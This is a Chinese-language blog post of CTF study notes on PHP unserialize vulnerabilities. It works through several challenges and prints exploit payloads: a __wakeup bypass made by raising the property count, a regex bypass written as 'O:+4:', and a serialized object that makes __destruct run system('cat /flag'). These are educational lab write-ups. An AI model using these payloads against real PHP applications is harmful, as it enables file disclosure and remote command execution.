每日进步一点点(网安)

news2025/1/19 13:46:08

今日练习题目是PHP反序列化,也学习一下说明是序列化和反序列化

1.PHP序列化

序列化是指将数据结构或对象转换为可传输或可储存的格式的过程。这通常需要将数据转换为字节流或者其他编码格式,以便在不同系统和应用程序之间进行传输或存储

在PHP中,可以使用serialize()函数将对象序列化为字符串,然后进行存储或者传输

2.PHP反序列化

反序列化就是将序列化后的数据转换为原来的对象,数据结构,变量的过程

在PHP中,可以使用unserialize()函数将序列化后的字符串转化为原来的对象或数据

3.魔法函数

在PHP中,魔法函数是指的是特定的函数,名称以两个下划线开始命名的

下面是一些常见的魔法函数

__construct :类的构造函数,在对象被创建时自动调用
__destruct :类的析构函数,在对象被销毁时自动调用
__get :当调用一个不存在的属性时自动调用
__set :当给一个不存在的属性赋值时自动调用
__call : 当调用一个不存在的方法时调用
__toString : 当对象被转换为字符串时自动调用
__sleep : 当对象被序列化时自动调用
__wakeup : 当对象被反序列化时自动调用

4.例题

4.1[攻防世界——unserialize3]

看这串代码,显示出来不是一个完整的PHP代码(括号没有完全闭合)

开始分析:

__wakeup()函数,看到这个函数,就会想到反序列化,对于上述代码中的xctf类中,有一个flag变量和__wakeup函数方法,当一个xtcf对象被序列化为字符串后,再次反序列化该字符串(wakeup方法的调用),就会重建该对象(xctf)

题目没有给出序列化,则需要我们自己生成出,然后给code传参

<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){       
    exit('bad requests');            
    }
}
$a= new xctf();   
echo(serialize($a));   
?>
//上述代码就可以生成xctf的序列化字符串

序列化输出结果为:O:4:"xctf":1:{s:4:"flag";s:3:"111";} 

分析可知,当把序列化结果传参时,执行到wakeup方法就会成功反序列化,则打印“bad request” ,无法得到flag

所以就得绕过这个反序列化的操作,就是不能正确的将字符串反序列化

接下来就分析一下序列化结果

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

O:表示被序列化的是一个对象

4:表示对象名 xctf 有4个字符

"xctf":表示对象的名称为 xctf

1:表示该对象只有一个属性

{}:表示该对象的属性列表为空

s:表示属性类型为字符串

4:表示属性名 flag 有4个字符

"flag":表示属性名为 flag

s:表示属性类型为字符串

3:表示属性值 111 有3个字符

"111":表示属性值为 111 

 这里的漏洞就是修改对象属性的个数,因为当序列化中的属性个数比实际代码中的属性个数大时,就不会执行wakeup方法,从而就可以使其报错,出flag!

改为:O:4:"xctf":2:{s:4:"flag";s:3:"111";} 

get传参:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";} 

 这道题顺利解出!

4.2[攻防世界——Web_php_unserialize]

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 

上述代码,使用了php反序列化,可以通过$var来控制unserialize()的变量,所以漏洞在反序列化这里

分析源码,可以看出,需要绕过__wakeup()方法和正则匹配,才可以高亮显示出fl4g.php文件

第一部:绕过__wakeup()方法

和上一题一样,先生成出序列化字符串,然后改变里面的属性个数,进行绕过

第二步:绕过正则匹配

就是绕过preg_match('/[oc]:\d+:/i')对照上面的序列化字符串

分析:

[oc]:表示出现字符O或者C

\d+:表示匹配一个或者多个数字(d代表数字)

/i:表示不区分大小写

绕过原理: 

1.原正则表达式期望匹配的是 o 或 c 后跟一个冒号,然后是一个或多个数字,再跟一个冒号。
2.在 O:+4: 中,虽然 + 不是一个数字,但 PHP 在处理反序列化时,对于对象长度的解析会将 + 当作数字处理。因为在序列化字符串中,对象的表示形式通常是 O:对象名称长度:对象名称。当使用 + 时,PHP 会将其解释为一个较大的正数。
同时,由于原正则表达式没有考虑 + 符号,所以 O:+4: 不会被 /[oc]:\d+:/i 匹配,从而绕过了该正则表达式的检查。

//后面的执行代码
$a=new Demo('fl4g.php');
$a=serialize($a);
$a=str_replace(':1:',':2:',$a);//绕过反序列化
$a=str_replace('O:4','O:+4',$a);//绕过正则
var_dump($a);//替换后的结果
var_dump(base64_encode($a));//输出base64编码结果

注意:这里有个坑,这里的 file 变量为私有变量,所以序列化之后的字符串开头结尾各有一个空白字符(即%00),字符串长度也比实际长度大 2,如果将序列化结果复制到在线的 base64 网站进行编码可能就会丢掉空白字符,所以这里直接在php 代码里进行编码。类似的还有 protected 类型的变量,序列化之后字符串首部会加上%00*%00。

然后get传参得到flag

4.3[NSSCTF——[SWPUCTF 2022 新生赛]1z_unserialize]

可以看出这是一道序列化题目,利用__destruct()方法在销毁对象时自动调用来执行预定义函数,实现命令注入

分析代码,$a=$this->lt;$a($this->lly);这个意思就是$this->lt赋值给a,$this->lly作为参数传递给代表a的函数,就可以合并为lt(lly)

所以我们就可以通过构造一个恶意的序列化对象,将自定义的函数传递给$lt属性,然后将执行的代码传递给$lly,当对象序列化后再被反序列化,就是对象被销毁的时候,自动调用__destruct()函数,从而执行绕过操作

只需要把a变成system(),把lly变成flag或者cat即可

system(cat/flag);

进行构造代码

<?php
class lyh{
    public $url = 'NSSCTF.com';
    public $lt="system";
    public $lly="cat /flag";
 
}
 
$demo = new lyh();
echo serialize($demo);
?>


//运行结果
O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

然后进行post传参,得到flag

 4.4[NSSCTF——[SWPUCTF 2022 新生赛]ez_ez_unserialize]

分析代码, 有__wakeup()方法,绕过该魔术方法即可

代码中告诉我们,flag在f111111ag.php中,所以创建对象时,把flag文件作为参数传进去

构造

<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
$demo=new X('fllllllag.php');
echo(serialize($demo));
?>

生成:O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

修改为:O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

然后get传参得到flag

 

 4.5[NSSCTF——[SWPUCTF 2022 新生赛]ez_ez_unserialize] 

打开题目发现没有东西,然后就下意识查看源码

发现有disallow,就会想到Robots协议,就可以看看robots.txt 

robots.txt 文件是一个纯文本文件,用于告诉搜索引擎爬虫哪些 URL 可以访问,哪些不能访问。它主要用于管理爬虫流量,防止服务器被过多的请求压垮

看到有/cl45s.php直接打开,显示php代码

分析代码,可以看到,对象销毁时调用__destrcut()方法,而flag就在这个方法中,只需要满足方法中的if语句 ,就可以得到flag,但是这里面如何改admin和passwd变量的值呢?就需要构造一下,将”admin“赋值给admin,”ctf“赋值给passwd即可,然后进行创建对象,再打印序列化后的字符串

<?php
class wllm{
    public $admin="admin";
    public $passwd="ctf";

}
$demo=new wllm();
echo(serialize($demo));
?>

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

然后get传参,得到flag

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2278942.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java-数据结构-二叉树习题(1)

对于二叉树的学习&#xff0c;主要的还是得多多练习~毕竟二叉树属于新的知识&#xff0c;并且也并不是线性结构&#xff0c;再加上经常使用递归的方法解决二叉树的问题&#xff0c;所以代码的具体流程还是无法看到的&#xff0c;只能通过画图想象&#xff0c;所以还是必须多加练…

(二)afsim第三方库编译(qt编译)

注意&#xff1a;源码编译的路径不能有中文否则报错&#xff0c;压缩包必须用官网下载的xz格式解压的才可以&#xff0c;否则sudo ./configure命令找不到 先编译openssl3.1.1软件包&#xff0c;否则编译的qt库将不支持network&#xff0c;相关库的编译(上文&#xff08;一&…

【QT用户登录与界面跳转】

【QT用户登录与界面跳转】 1.前言2. 项目设置3.设计登录界面3.1 login.pro参数3.2 界面设置3.2.1 登录界面3.2.2 串口主界面 4. 实现登录逻辑5.串口界面6.测试功能7.总结 1.前言 在Qt应用程序开发中&#xff0c;实现用户登录及界面跳转功能是构建交互式应用的重要步骤之一。下…

【docker踩坑记录】

docker踩坑记录 踩坑记录(持续更新中.......)docker images 权限问题 踩坑记录(持续更新中…) docker images 权限问题 permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Head "http://%2Fvar%2Frun%2Fdocker.s…

搜维尔科技:Xsens人形机器人解决方案的优势

Xsens 致力于推动人形机器人技术的发展&#xff0c;塑造机器人与人类环境无缝融合的未来&#xff0c;通过创新精确和协作&#xff0c;协助生产和服务&#xff0c;改善人类生活和产业。 Xsens通过人形跟随捕捉详细的人体运动数据&#xff0c;使机器人能够学习类人的动作&#x…

国内微电子(集成电路)领域重点高校的特色与优势

本文旨在梳理国内微电子&#xff08;集成电路&#xff09;领域重点高校的特色与优势&#xff0c;为有志于从事相关领域的学生提供参考。文章将从学科特色、科研实力&#xff08;以ISSCC论文为参考之一&#xff09;、行业认可度等方面进行分析&#xff0c;并强调实验室、导师、研…

leetcode707-设计链表

leetcode 707 思路 本题也是用了虚拟头节点来进行解答&#xff0c;这样的好处是&#xff0c;不管是头节点还是中间的节点都可以当成是中间节点来处理&#xff0c;用同一套方法就可以进行处理&#xff0c;而不用考虑太多的边界条件。 下面题目中最主要的实现就是添加操作addA…

数据结构-栈队列OJ题

文章目录 一、有效的括号二、用队列实现栈三、用栈实现队列四、设计循环队列 一、有效的括号 (链接&#xff1a;ValidParentheses) 这道题用栈这种数据结构解决最好&#xff0c;因为栈有后进先出的性质。简单分析一下这道题&#xff1a;所给字符串不是空的也就是一定至少存在一…

MindAgent:基于大型语言模型的多智能体协作基础设施

2023-09-18 &#xff0c;加州大学洛杉矶分校&#xff08;UCLA&#xff09;、微软研究院、斯坦福大学等机构共同创建的新型基础设施&#xff0c;目的在评估大型语言模型在游戏互动中的规划和协调能力。MindAgent通过CuisineWorld这一新的游戏场景和相关基准&#xff0c;调度多智…

近红外简单ROI分析matlab(NIRS_SPM)

本次笔记主要想验证上篇近红外分析是否正确&#xff0c;因为叠加平均有不同的计算方法&#xff0c;一种是直接将每个通道的5分钟实时长单独进行叠加平均&#xff0c;另一种是将通道划分为1分钟的片段&#xff0c;将感兴趣的通道数据进行对应叠加平均&#xff0c;得到一个总平均…

开发神器之cursor

文章目录 cursor简介主要特点 下载cursor页面的简单介绍切换大模型指定ai学习的文件指定特定的代码喂给ai创建项目框架文件 cursor简介 Cursor 是一款专为开发者设计的智能代码编辑器&#xff0c;集成了先进的 AI 技术&#xff0c;旨在提升编程效率。以下是其主要特点和功能&a…

电脑风扇声音大怎么办? 原因及解决方法

电脑风扇是电脑的重要组件之一&#xff0c;它的作用是为电脑的各个部件提供冷却&#xff0c;防止电脑过热。然而&#xff0c;有时候我们会发现电脑风扇的声音特别大&#xff0c;不仅影响我们的使用体验&#xff0c;也可能是电脑出现了一些问题。那么&#xff0c;电脑风扇声音大…

SpringBoot错误码国际化

先看测试效果&#xff1a; 1. 设置中文 2.设置英文 文件结构 1.中文和英文的错误消息配置 package com.ldj.mybatisflex.common;import lombok.Getter;/*** User: ldj* Date: 2025/1/12* Time: 17:50* Description: 异常消息枚举*/ Getter public enum ExceptionEnum {//…

软考高级5个资格、中级常考4个资格简介及难易程度排序

一、软考高级5个资格 01、网络规划设计师 资格简介&#xff1a;网络规划设计师要求考生具备全面的网络规划、设计、部署和管理能力&#xff1b;该资格考试适合那些在网络规划和设计方面具有较好理论基础和较丰富从业经验的人员参加。 02、系统分析师 资格简介&#xff1a;系统分…

如何通过 Apache Airflow 将数据导入 Elasticsearch

作者&#xff1a;来自 Elastic Andre Luiz 了解如何通过 Apache Airflow 将数据导入 Elasticsearch。 Apache Airflow Apache Airflow 是一个旨在创建、安排&#xff08;schedule&#xff09;和监控工作流的平台。它用于编排 ETL&#xff08;Extract-Transform-Load&#xff0…

STM32 学习笔记【补充】(十)硬件I2C读写MPU6050

该系列为笔者在学习STM32过程&#xff08;主线是江科大的视频&#xff09;中的记录与发散思考。 初学难免有所纰漏、错误&#xff0c;还望大家不吝指正&#xff0c;感谢~ 一、I2C 外设简介 I2C&#xff08;Inter-Integrated Circuit&#xff09;是一种多主多从的串行通信协议…

QT信号槽 笔记

信号与槽就是QT中处理计算机外设响应的一种机制 比如敲击键盘、点击鼠标 // 举例&#xff1a; 代码&#xff1a; connect(ls,SIGNAL(sig_chifanla()),ww,SLOT(slot_quchifan())); connect(ls,SIGNAL(sig_chifanla()),zl,SLOT(slot_quchifan()));connect函数&#xff1a;这是…

【React】插槽渲染机制

目录 通过 children 属性结合条件渲染通过 children 和 slot 属性实现具名插槽通过 props 实现具名插槽 在 React 中&#xff0c;并没有直接类似于 Vue 中的“插槽”机制&#xff08;slot&#xff09;。但是&#xff0c;React 可以通过 props和 children 来实现类似插槽的功能…

openharmony电源管理子系统

电源管理子系统 简介目录使用说明相关仓 简介 电源管理子系统提供如下功能&#xff1a; 重启服务&#xff1a;系统重启和下电。系统电源管理服务&#xff1a;系统电源状态管理和休眠运行锁管理。显示相关的能耗调节&#xff1a;包括根据环境光调节背光亮度&#xff0c;和根…

数据库(中)11讲

用颜色、有否下划线对应&#xff01; E-R图